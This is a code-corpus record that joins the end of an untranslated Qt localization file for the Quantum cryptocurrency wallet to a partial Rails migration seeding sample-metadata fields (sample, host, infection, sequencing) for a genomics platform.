<source>Generated coins must mature 110 blocks before they can be spent. When you generated this block, it was broadcast to the network to be added to the block chain. If it fails to get into the chain, its state will change to "not accepted" and it won't be spendable. This may occasionally happen if another node generates a block within a few seconds of yours.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>Debug information</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+8"/>
<source>Transaction</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Inputs</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+23"/>
<source>Amount</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>true</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>false</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-211"/>
<source>, has not been successfully broadcast yet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+35"/>
<source>unknown</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>TransactionDescDialog</name>
<message>
<location filename="../forms/transactiondescdialog.ui" line="+14"/>
<source>Transaction details</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+6"/>
<source>This pane shows a detailed description of the transaction</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>TransactionTableModel</name>
<message>
<location filename="../transactiontablemodel.cpp" line="+226"/>
<source>Date</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>Type</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>Address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>Amount</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+60"/>
<source>Open until %1</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+12"/>
<source>Confirmed (%1 confirmations)</source>
<translation type="unfinished"/>
</message>
<message numerus="yes">
<location line="-15"/>
<source>Open for %n more block(s)</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message>
<location line="+6"/>
<source>Offline</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Unconfirmed</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Confirming (%1 of %2 recommended confirmations)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+6"/>
<source>Conflicted</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Immature (%1 confirmations, will be available after %2)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>This block was not received by any other nodes and will probably not be accepted!</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Generated but not accepted</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+42"/>
<source>Received with</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Received from</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Sent to</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Payment to yourself</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Mined</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+38"/>
<source>(n/a)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+190"/>
<source>Transaction status. Hover over this field to show number of confirmations.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Date and time that the transaction was received.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Type of transaction.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Destination address of transaction.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Amount removed from or added to balance.</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>TransactionView</name>
<message>
<location filename="../transactionview.cpp" line="+55"/>
<location line="+16"/>
<source>All</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-15"/>
<source>Today</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>This week</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>This month</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Last month</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>This year</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Range...</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+11"/>
<source>Received with</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Sent to</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>To yourself</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Mined</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Other</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>Enter address or label to search</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>Min amount</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+34"/>
<source>Copy address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Copy label</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Copy amount</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Copy transaction ID</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Edit label</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Show transaction details</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+144"/>
<source>Export Transaction Data</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Comma separated file (*.csv)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+8"/>
<source>Confirmed</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Date</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Type</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Label</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Amount</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>ID</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+4"/>
<source>Error exporting</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>Could not write to file %1.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+100"/>
<source>Range:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+8"/>
<source>to</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>WalletModel</name>
<message>
<location filename="../walletmodel.cpp" line="+206"/>
<source>Sending...</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>bitcoin-core</name>
<message>
<location filename="../bitcoinstrings.cpp" line="+33"/>
<source>Quantum version</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Usage:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Send command to -server or quantumd</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>List commands</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Get help for a command</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Options:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Specify configuration file (default: quantum.conf)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Specify pid file (default: quantumd.pid)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Specify wallet file (within data directory)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-1"/>
<source>Specify data directory</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Set database cache size in megabytes (default: 25)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Set database disk log size in megabytes (default: 100)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+6"/>
<source>Listen for connections on <port> (default: 15714 or testnet: 25714)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Maintain at most <n> connections to peers (default: 125)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Connect to a node to retrieve peer addresses, and disconnect</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Specify your own public address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Bind to given address. Use [host]:port notation for IPv6</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Stake your coins to support network and gain reward (default: 1)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Threshold for disconnecting misbehaving peers (default: 100)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Number of seconds to keep misbehaving peers from reconnecting (default: 86400)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-44"/>
<source>An error occurred while setting up the RPC port %u for listening on IPv4: %s</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+51"/>
<source>Detach block and address databases. Increases shutdown time (default: 0)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+109"/>
<source>Error: The transaction was rejected. This might happen if some of the coins in your wallet were already spent, such as if you used a copy of wallet.dat and coins were spent in the copy but not marked as spent here.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-5"/>
<source>Error: This transaction requires a transaction fee of at least %s because of its amount, complexity, or use of recently received funds </source>
<translation type="unfinished"/>
</message>
<message>
<location line="-87"/>
<source>Listen for JSON-RPC connections on <port> (default: 15715 or testnet: 25715)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-11"/>
<source>Accept command line and JSON-RPC commands</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+101"/>
<source>Error: Transaction creation failed </source>
<translation type="unfinished"/>
</message>
<message>
<location line="-5"/>
<source>Error: Wallet locked, unable to create transaction </source>
<translation type="unfinished"/>
</message>
<message>
<location line="-8"/>
<source>Importing blockchain data file.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Importing bootstrap blockchain data file.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-88"/>
<source>Run in the background as a daemon and accept commands</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Use the test network</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-24"/>
<source>Accept connections from outside (default: 1 if no -proxy or -connect)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-38"/>
<source>An error occurred while setting up the RPC port %u for listening on IPv6, falling back to IPv4: %s</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+117"/>
<source>Error initializing database environment %s! To recover, BACKUP THAT DIRECTORY, then remove everything from it except for wallet.dat.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-20"/>
<source>Set maximum size of high-priority/low-fee transactions in bytes (default: 27000)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+11"/>
<source>Warning: -paytxfee is set very high! This is the transaction fee you will pay if you send a transaction.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+61"/>
<source>Warning: Please check that your computer's date and time are correct! If your clock is wrong Quantum will not work properly.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-31"/>
<source>Warning: error reading wallet.dat! All keys read correctly, but transaction data or address book entries might be missing or incorrect.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-18"/>
<source>Warning: wallet.dat corrupt, data salvaged! Original wallet.dat saved as wallet.{timestamp}.bak in %s; if your balance or transactions are incorrect you should restore from a backup.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-30"/>
<source>Attempt to recover private keys from a corrupt wallet.dat</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+4"/>
<source>Block creation options:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-62"/>
<source>Connect only to the specified node(s)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+4"/>
<source>Discover own IP address (default: 1 when listening and no -externalip)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+94"/>
<source>Failed to listen on any port. Use -listen=0 if you want this.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-90"/>
<source>Find peers using DNS lookup (default: 1)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Sync checkpoints policy (default: strict)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+83"/>
<source>Invalid -tor address: '%s'</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+4"/>
<source>Invalid amount for -reservebalance=<amount></source>
<translation type="unfinished"/>
</message>
<message>
<location line="-82"/>
<source>Maximum per-connection receive buffer, <n>*1000 bytes (default: 5000)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Maximum per-connection send buffer, <n>*1000 bytes (default: 1000)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-16"/>
<source>Only connect to nodes in network <net> (IPv4, IPv6 or Tor)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+28"/>
<source>Output extra debugging information. Implies all other -debug* options</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Output extra network debugging information</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Prepend debug output with timestamp</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+35"/>
<source>SSL options: (see the Bitcoin Wiki for SSL setup instructions)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-74"/>
<source>Select the version of socks proxy to use (4-5, default: 5)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+41"/>
<source>Send trace/debug info to console instead of debug.log file</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Send trace/debug info to debugger</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+28"/>
<source>Set maximum block size in bytes (default: 250000)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-1"/>
<source>Set minimum block size in bytes (default: 0)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-29"/>
<source>Shrink debug.log file on client startup (default: 1 when no -debug)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-42"/>
<source>Specify connection timeout in milliseconds (default: 5000)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+109"/>
<source>Unable to sign checkpoint, wrong checkpointkey?
</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-80"/>
<source>Use UPnP to map the listening port (default: 0)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-1"/>
<source>Use UPnP to map the listening port (default: 1 when listening)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-25"/>
<source>Use proxy to reach tor hidden services (default: same as -proxy)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+42"/>
<source>Username for JSON-RPC connections</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+47"/>
<source>Verifying database integrity...</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+57"/>
<source>WARNING: syncronized checkpoint violation detected, but skipped!</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Warning: Disk space is low!</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-2"/>
<source>Warning: This version is obsolete, upgrade required!</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-48"/>
<source>wallet.dat corrupt, salvage failed</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-54"/>
<source>Password for JSON-RPC connections</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-84"/>
<source>%s, you must set a rpcpassword in the configuration file:
%s
It is recommended you use the following random password:
rpcuser=quantumrpc
rpcpassword=%s
(you do not need to remember this password)
The username and password MUST NOT be the same.
If the file does not exist, create it with owner-readable-only file permissions.
It is also recommended to set alertnotify so you are notified of problems;
for example: alertnotify=echo %%s | mail -s "Quantum Alert" admin@foo.com
</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+51"/>
<source>Find peers using internet relay chat (default: 0)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Sync time with other nodes. Disable if time on your system is precise e.g. syncing with NTP (default: 1)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+15"/>
<source>When creating transactions, ignore inputs with value less than this (default: 0.01)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+16"/>
<source>Allow JSON-RPC connections from specified IP address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Send commands to node running on <ip> (default: 127.0.0.1)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Execute command when the best block changes (%s in cmd is replaced by block hash)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Execute command when a wallet transaction changes (%s in cmd is replaced by TxID)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Require a confirmations for change (default: 0)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Enforce transaction scripts to use canonical PUSH operators (default: 1)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Execute command when a relevant alert is received (%s in cmd is replaced by message)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Upgrade wallet to latest format</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Set key pool size to <n> (default: 100)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Rescan the block chain for missing wallet transactions</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>How many blocks to check at startup (default: 2500, 0 = all)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>How thorough the block verification is (0-6, default: 1)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Imports blocks from external blk000?.dat file</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+8"/>
<source>Use OpenSSL (https) for JSON-RPC connections</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Server certificate file (default: server.cert)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Server private key (default: server.pem)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Acceptable ciphers (default: TLSv1+HIGH:!SSLv2:!aNULL:!eNULL:!AH:!3DES:@STRENGTH)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+53"/>
<source>Error: Wallet unlocked for staking only, unable to create transaction.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+18"/>
<source>WARNING: Invalid checkpoint found! Displayed transactions may not be correct! You may need to upgrade, or notify developers.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-158"/>
<source>This help message</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+95"/>
<source>Wallet %s resides outside data directory %s.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Cannot obtain a lock on data directory %s. Quantum is probably already running.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-98"/>
<source>Quantum</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+140"/>
<source>Unable to bind to %s on this computer (bind returned error %d, %s)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-130"/>
<source>Connect through socks proxy</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Allow DNS lookups for -addnode, -seednode and -connect</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+122"/>
<source>Loading addresses...</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-15"/>
<source>Error loading blkindex.dat</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Error loading wallet.dat: Wallet corrupted</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+4"/>
<source>Error loading wallet.dat: Wallet requires newer version of Quantum</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Wallet needed to be rewritten: restart Quantum to complete</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Error loading wallet.dat</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-16"/>
<source>Invalid -proxy address: '%s'</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-1"/>
<source>Unknown network specified in -onlynet: '%s'</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-1"/>
<source>Unknown -socks proxy version requested: %i</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+4"/>
<source>Cannot resolve -bind address: '%s'</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Cannot resolve -externalip address: '%s'</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-24"/>
<source>Invalid amount for -paytxfee=<amount>: '%s'</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+44"/>
<source>Error: could not start node</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+11"/>
<source>Sending...</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Invalid amount</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Insufficient funds</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-34"/>
<source>Loading block index...</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-103"/>
<source>Add a node to connect to and attempt to keep the connection open</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+122"/>
<source>Unable to bind to %s on this computer. Quantum is probably already running.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-97"/>
<source>Fee per KB to add to transactions you send</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+55"/>
<source>Invalid amount for -mininput=<amount>: '%s'</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+25"/>
<source>Loading wallet...</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+8"/>
<source>Cannot downgrade wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Cannot initialize keypool</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Cannot write default address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Rescanning...</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Done loading</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-167"/>
<source>To use the %s option</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+14"/>
<source>Error</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+6"/>
<source>You must set rpcpassword=<password> in the configuration file:
%s
If the file does not exist, create it with owner-readable-only file permissions.</source>
<translation type="unfinished"/>
</message>
</context>
</TS> | qtm2/qtm2 | src/qt/locale/bitcoin_ca@valencia.ts | TypeScript | mit | 107,625 |
# NOTE: we should probably be using seeds.rb instead of migrations for initializing data.
class SeedMetadataFields < ActiveRecord::Migration[5.1]
def up
# TODO: All the validation_types, proper association with Metadata-data entries, project associations, etc.
# +----------------------+
# | All/custom fields |
# | +------------------+ |
# | | Core | |
# | | +--------------+ | |
# | | | Default | | |
# | | | +----------+ | | |
# | | | | Required | | | |
# | | | +__________+ | | |
# | | +______________+ | |
# | +__________________+ |
# +______________________+
# The core fields are basically the set of fields that we think are important/interesting/have
# curated ourselves. All user-created custom types will not be core (unless we make them).
# Ex: lat_lon could be a core field but not on new projects by default.
# t.integer :is_core
# Default fields are a subset of the core fields that will appear on a project when someone
# creates a project. These can be removed from a project.
# t.integer :is_default
# Required fields are a subset of the core/default fields that cannot be removed from the
# project. This is the strictest level. Ex: collection_date, location, nucleotide_type, etc.
# t.integer :is_required
to_create = []
############################
##### ALL HOST GENOMES #####
############################
to_create << MetadataField.new(
name: "sample_type",
display_name: "Sample Type",
description: "Type of sample or tissue",
base_type: MetadataField::STRING_TYPE,
is_core: 1,
is_default: 1,
is_required: 1,
group: "Sample",
host_genomes: HostGenome.all
)
to_create << MetadataField.new(
name: "nucleotide_type",
display_name: "Nucleotide Type",
description: "DNA or RNA",
base_type: MetadataField::STRING_TYPE,
options: %w[DNA RNA],
force_options: 1,
is_core: 1,
is_default: 1,
is_required: 1,
group: "Sample",
host_genomes: HostGenome.all
)
to_create << MetadataField.new(
name: "collection_date",
display_name: "Collection Date",
description: "Date sample was originally collected",
base_type: MetadataField::DATE_TYPE,
is_core: 1,
is_default: 1,
is_required: 1,
group: "Sample",
host_genomes: HostGenome.all
)
to_create << MetadataField.new(
name: "collection_location",
display_name: "Collection Location",
description: "Location sample was originally collected",
base_type: MetadataField::STRING_TYPE,
is_core: 1,
is_default: 1,
is_required: 1,
group: "Sample",
host_genomes: HostGenome.all
)
to_create << MetadataField.new(
name: "collected_by",
display_name: "Collected By",
description: "Collecting institution/agency",
base_type: MetadataField::STRING_TYPE,
is_core: 1,
group: "Sample",
host_genomes: HostGenome.all
)
to_create << MetadataField.new(
name: "sex",
display_name: "Sex",
description: "Sex of the host/participant/specimen",
base_type: MetadataField::STRING_TYPE,
options: %w[Female Male],
force_options: 1,
is_core: 1,
is_default: 1,
group: "Host",
host_genomes: HostGenome.all
)
to_create << MetadataField.new(
name: "known_organism",
display_name: "Known Organism",
description: "Organism detected by a clinical lab",
base_type: MetadataField::STRING_TYPE,
is_core: 1,
is_default: 1,
group: "Infection",
host_genomes: HostGenome.all
)
to_create << MetadataField.new(
name: "infection_class",
display_name: "Infection Class",
description: "Information on the class of the infection",
base_type: MetadataField::STRING_TYPE,
options: ["Definite", "No Infection", "Suspected", "Unknown", "Water Control"],
force_options: 1,
is_core: 1,
is_default: 1,
group: "Infection",
host_genomes: HostGenome.all
)
to_create << MetadataField.new(
name: "age",
display_name: "Age",
description: "Age of the host/participant (by default in years)",
base_type: MetadataField::NUMBER_TYPE,
is_core: 1,
is_default: 1,
group: "Host",
host_genomes: HostGenome.all
)
########################
##### HUMAN FIELDS #####
########################
human_genome = HostGenome.find_by(name: "Human")
if human_genome
to_create << MetadataField.new(
name: "participant_id",
display_name: "Participant ID",
description: "Unique identifier for the participant (e.g. for multiple samples from the same participant)",
base_type: MetadataField::STRING_TYPE,
is_core: 1,
is_default: 1,
group: "Host",
host_genomes: [human_genome]
)
to_create << MetadataField.new(
name: "race",
display_name: "Race/Ethnicity",
description: "Race/ethnicity of the participant",
base_type: MetadataField::STRING_TYPE,
options: %w[White Hispanic Black Asian Other],
is_core: 1,
is_default: 1,
group: "Host",
host_genomes: [human_genome]
)
to_create << MetadataField.new(
name: "primary_diagnosis",
display_name: "Primary Diagnosis",
description: "Diagnosed disease that resulted in hospital admission",
base_type: MetadataField::STRING_TYPE,
is_core: 1,
is_default: 1,
group: "Host",
host_genomes: [human_genome]
)
to_create << MetadataField.new(
name: "admission_date",
display_name: "Admission Date",
description: "Date the participant was admitted to the facility",
base_type: MetadataField::DATE_TYPE,
is_core: 1,
group: "Host",
host_genomes: [human_genome]
)
to_create << MetadataField.new(
name: "admission_type",
display_name: "Admission Type",
description: "Type of admission to the facility (e.g. ICU)",
base_type: MetadataField::STRING_TYPE,
options: %w[ICU General],
is_core: 1,
group: "Host",
host_genomes: [human_genome]
)
to_create << MetadataField.new(
name: "discharge_date",
display_name: "Discharge Date",
description: "Date the participant was discharged or expired during the stay",
base_type: MetadataField::DATE_TYPE,
is_core: 1,
group: "Host",
host_genomes: [human_genome]
)
to_create << MetadataField.new(
name: "discharge_type",
display_name: "Discharge Type",
description: "Type of discharge",
base_type: MetadataField::STRING_TYPE,
options: ["ICU", "Hospital", "30-Day Mortality", "Other"],
is_core: 1,
group: "Host",
host_genomes: [human_genome]
)
to_create << MetadataField.new(
name: "antibiotic_administered",
display_name: "Antibiotic Administered",
description: "Information on antibiotics administered to the participant",
base_type: MetadataField::STRING_TYPE,
options: %w[Yes No],
is_core: 1,
is_default: 1,
group: "Host",
host_genomes: [human_genome]
)
to_create << MetadataField.new(
name: "immunocomp",
display_name: "Immunocompromised",
description: "Information on if the participant was immunocompromised",
base_type: MetadataField::STRING_TYPE,
options: %w[Yes No],
is_core: 1,
is_default: 1,
group: "Host",
host_genomes: [human_genome]
)
to_create << MetadataField.new(
name: "detection_method",
display_name: "Detection Method",
description: "Detection method for the known organism",
base_type: MetadataField::STRING_TYPE,
is_core: 1,
is_default: 1,
group: "Infection",
host_genomes: [human_genome]
)
to_create << MetadataField.new(
name: "comorbidity",
display_name: "Comorbidity",
description: "Information on other chronic diseases present (e.g. HIV, Diabetes, COPD, etc.)",
base_type: MetadataField::STRING_TYPE,
is_core: 1,
is_default: 1,
group: "Infection",
host_genomes: [human_genome]
)
end
######################
##### SEQUENCING #####
######################
to_create << MetadataField.new(
name: "library_prep",
display_name: "Library Prep",
description: "Library prep kit information",
base_type: MetadataField::STRING_TYPE,
options: ["NEB Ultra II FS DNA", "NEB RNA Ultra II", "NEB Ultra II Directional RNA", "NEB Utra II DNA", "Nextera DNA", "Other"],
is_core: 1,
is_default: 1,
group: "Sequencing",
host_genomes: HostGenome.all
)
to_create << MetadataField.new(
name: "sequencer",
display_name: "Sequencer",
description: "Sequencer information",
base_type: MetadataField::STRING_TYPE,
options: %w[MiSeq NextSeq HiSeq NovaSeq Other],
is_core: 1,
is_default: 1,
group: "Sequencing",
host_genomes: HostGenome.all
)
to_create << MetadataField.new(
name: "rna_dna_input",
display_name: "RNA/DNA Input (ng)",
description: "RNA/DNA input in nanograms",
base_type: MetadataField::NUMBER_TYPE,
is_core: 1,
is_default: 1,
group: "Sequencing",
host_genomes: HostGenome.all
)
###########################
##### MOSQUITO / TICK #####
###########################
mosquito_genome = HostGenome.find_by(name: "Mosquito")
if mosquito_genome
if HostGenome.find_by(name: "Tick")
to_create << MetadataField.new(
name: "life_stage",
display_name: "Life Stage",
description: "Life stage of the specimen",
base_type: MetadataField::STRING_TYPE,
options: %w[Larva Nymph Adult],
force_options: 1,
is_core: 1,
is_default: 1,
group: "Host",
host_genomes: [mosquito_genome, HostGenome.find_by(name: "Tick")]
)
end
to_create << MetadataField.new(
name: "preservation_method",
display_name: "Preservation Method",
description: "Preservation method of the specimen",
base_type: MetadataField::STRING_TYPE,
options: %w[TEA Freeze CO2 Dried Other],
is_core: 1,
is_default: 1,
group: "Host",
host_genomes: [mosquito_genome]
)
